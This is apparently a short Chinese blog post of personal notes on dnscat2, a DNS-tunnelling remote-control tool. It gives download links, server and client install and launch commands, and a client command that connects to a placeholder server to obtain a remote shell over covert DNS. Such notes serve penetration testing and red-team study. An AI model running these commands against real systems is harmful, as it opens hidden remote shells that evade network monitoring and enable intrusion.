协议工具使用（闲时更新）

Posted 2021-02-16 nobgr

一、DNS协议远控

1、dnscat2

项目地址：https://github.com/iagox86/dnscat2

编译好的：https://downloads.skullsecurity.org/dnscat2/

ps版本：https://github.com/lukebaggett/dnscat2-powershell

（1）安装（用编译好的请忽略）

server：

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler
bundle install

client：

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

ps：我用编译好的，win编译可以：

在 windows 环境下编译，需要将 client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击 “build”

（2）使用

server启动：

ruby ./dnscat2.rb

服务器会出提示怎么连接：

./dnscat --dns server=x.x.x.x,port=53 --secret=87863d697c0b7960ebe81913a915cc79

client启动：

如上命令

之后操作

上线之后，可以执行windows查看会话。

切换会话：

window -i n

切换会话之后：

输入shell命令可得到shell。

（3）参考

https://blog.csdn.net/localhost01/article/details/86591685 『DNS隧道工具』— dnscat2

https://www.cnblogs.com/backlion/p/10619444.html [译] 渗透测试实战第三版(红队版)